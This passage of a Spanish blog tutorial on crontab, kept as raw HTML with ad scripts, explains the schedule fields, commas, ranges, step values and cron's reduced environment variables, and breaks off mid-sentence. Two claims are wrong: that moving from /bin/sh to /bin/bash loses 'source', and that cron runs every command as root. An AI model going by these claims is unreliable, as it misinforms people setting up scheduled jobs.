style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;crontab -l&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Este archivo &lt;strong&gt;no debe editarse directamente&lt;/strong&gt;, la manera correcta de modificarlo es ejecutando el comando &lt;em&gt;crontab&lt;/em&gt;, seguido de la opción -e&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;crontab -e&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Esto nos abrirá nuestro editor de texto de terminal predeterminado. Al revisar el contenido veremos que la mayoría del texto está comentado. Justo al final del archivo podremos encontrar estas lineas, las cuales nos especifican el formato que usaremos para programar nuestras tareas.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# m h  dom mon dow   command&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;El significado de cada elemento de esa linea es el siguiente:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;# Sirve para mantener la linea comentada, no lo remuevas.&lt;/li&gt;&#xA;&lt;li&gt;m significa minutos (minutes)&lt;/li&gt;&#xA;&lt;li&gt;h significa horas (hours)&lt;/li&gt;&#xA;&lt;li&gt;dom significa día del mes (day of month)&lt;/li&gt;&#xA;&lt;li&gt;mon significa mes (month)&lt;/li&gt;&#xA;&lt;li&gt;dow significa día de la semana (day of week)&lt;/li&gt;&#xA;&lt;li&gt;command significa comando&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Para decirle a cron como ejecutar una tarea llenaremos lineas en el archivo crontab siguiendo el patrón anterior. Por ejemplo:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# m h  dom mon dow   command&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;* * * * * script.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Esta configuración ejecutaría el archivo &lt;em&gt;script.py&lt;/em&gt; cada minuto, de cada hora, de cada día del mes, de cada mes, de cada día de la semana.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# m h  dom mon dow   command&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;6&lt;/span&gt; * * * script.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Por otro lado, la configuración anterior ejecutaría &lt;em&gt;script.py&lt;/em&gt; cada día a las 6:00 a.m.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Después de buscar el mejor recurso linux en un montón de foros online encontré esta pequeña joya llamada &#39;How linux works&#39;. Es un libro completo que cubre básicamente todas las entrañas de Linux: Cgroups, PAM, Cron daemons e incluso los bootladers y el proceso init de Linux. La verdad es que no puedo recomendarlo más, 5/5. Ve a leerlo.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Cómo funciona Linux\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/how-linux-works.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3QsXkuw\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Cómo funciona Linux y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Cómo destacar como un ingeniero de Linux?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# m h  dom mon dow   command&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;6&lt;/span&gt; * * &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; script.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Esta de aquí ejecutará &lt;em&gt;script.py&lt;/em&gt; cada lunes a las 6:00 a.m. Nota que crontab cuenta el domingo como el día 0 y también es el día 7, así mismo puedes usar las primeras tres letras en inglés de cada día, es decir, podemos reemplazar el 1 por &amp;lsquo;mon&amp;rsquo;, sin las comillas.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# m h  dom mon dow   command&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;6&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;30&lt;/span&gt; * * script.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Esta configuración ejecutará nuestro script el día 30 de cada mes a las 6:00 a.m.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# m h  dom mon dow   command&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;6&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;30&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;12&lt;/span&gt; * script.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Y por último esta configuración ejecutaría el comando el día 30 de diciembre a las 6:00 a.m.&lt;/p&gt;&#xA;&lt;p&gt;¿Confundido? Es normal, yo creo que toma un poco de tiempo. De cualquier manera al final de esta entrada te comparto una herramienta genial para facilitarte el crear y entender estas configuraciones.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;algunos-ejemplos-mas-complejos&#34;&gt;Algunos ejemplos más complejos&lt;/h2&gt;&#xA;&lt;p&gt;Quizás queremos algo más complejo que los ejemplos anteriores, ¿qué tal si tenemos un script que se encarga de pagarle a los empleados y queremos que se ejecute todos los días 1 y 15 de cada mes? &lt;strong&gt;En crontab podemos separar tantos valores como deseemos usando comas&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# m h  dom mon dow   command&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;9&lt;/span&gt; 1,15 * *  script.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Y si queremos que un script que se ejecute cada hora, pero solo durante la madrugada de los sábados y domingos, desde las 12:00 a.m. hasta las 6:00 a.m. &lt;strong&gt;Crontab permite especificar rangos de valores usando guiones&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# m h  dom mon dow   command&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; 0-6 * * 6,7  script.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;¿Qué tal si nos gustaría cambiar de wallpaper cada 6 horas? No hay problema, &lt;strong&gt;podemos usar una diagonal en crontab para establecer periodos de tiempo.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# m h  dom mon dow   command&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; */6 * * *  script.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;el-entorno-de-ejecucion-de-crontab&#34;&gt;El entorno de ejecución de Crontab&lt;/h2&gt;&#xA;&lt;p&gt;El entorno de ejecución de crontab es un entorno mínimo, donde la mayoría de los programas, configuraciones y otras personalizaciones que tenemos configuradas estarán ausentes, por lo que es importante que no des por hecho que ciertos comandos estarán ahí.&lt;/p&gt;&#xA;&lt;p&gt;Por ejemplo el simple hecho de cambiar la terminal de &lt;em&gt;/bin/sh&lt;/em&gt; a &lt;em&gt;/bin/bash&lt;/em&gt; ya nos priva de usar herramientas como &lt;em&gt;source&lt;/em&gt;. Probablemente si estás usando entornos virtuales en Python u otro tipo de personalización tendrás que especificarlo directamente.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;crontab-y-las-variables-de-entorno&#34;&gt;Crontab y las variables de entorno&lt;/h2&gt;&#xA;&lt;p&gt;&lt;strong&gt;Hay algo muy importante que debemos recordar cada vez que utilicemos Crontab; las variables de entorno.&lt;/strong&gt; Normalmente en un sistema GNU/Linux tenemos una serie de variables de entorno, las cuales podremos visualizar usando el comando &lt;em&gt;printenv&lt;/em&gt; en terminal. Intenta ejecutar el comando en tu terminal para que veas la gran cantidad de variables de entorno que tiene tu sistema. Las variables de entorno pueden variar enormemente de acuerdo al usuario, pero lo importante es apreciar que son bastantes.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;printenv&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;USER&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;usuario&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;DESKTOP_SESSION&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;default&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;QT_QPA_PLATFORMTHEME&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;qgnomeplatform&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Por otro lado si tu obtienes las variables de entorno que están activas cuando usas Crontab podrás notar que son muchas menos. &lt;strong&gt;Los procesos que Cron ejecute desde Crontab no tiene acceso a todas las variables de entorno.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;PATH&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;/usr/bin:/bin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;LANG&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;es_MX.UTF-8&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;HOME&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;/home/usuario&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;LANGUAGE&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;es_MX:es&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;DBUS_SESSION_BUS_ADDRESS&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;unix:path&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;/run/user/1000/bus&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;SHELL&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;/bin/sh&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;LOGNAME&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;usuario&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;PWD&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;/home/usuario&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Observa como el shell por defecto es &lt;em&gt;/bin/sh&lt;/em&gt; en lugar de &lt;em&gt;/bin/bash&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;¿Y esto porque es importante? Porque a veces programamos tareas que requieren de variables de entorno para poder ejecutarse correctamente y, si Crontab no puede acceder a ellas, pues fallará al ejecutarlas. Una vez más, &lt;strong&gt;recuerda que crontab no tiene acceso a todas las variables de entorno de manera predeterminada.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;como-establecer-variables-de-entorno-en-crontab&#34;&gt;¿Cómo establecer variables de entorno en crontab?&lt;/h3&gt;&#xA;&lt;p&gt;Para usar variables de entorno es necesario cargarlas de manera manual, concatenando el comando que las cargas con el comando que queremos que se ejecute.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;* * * * * . ./.env; script.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Dos cosas importantes a recordar aquí:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Cron ejecuta los comandos desde root, así que asegúrate de incluir la ruta completa.&lt;/li&gt;&#xA;&lt;li&gt;No tienes 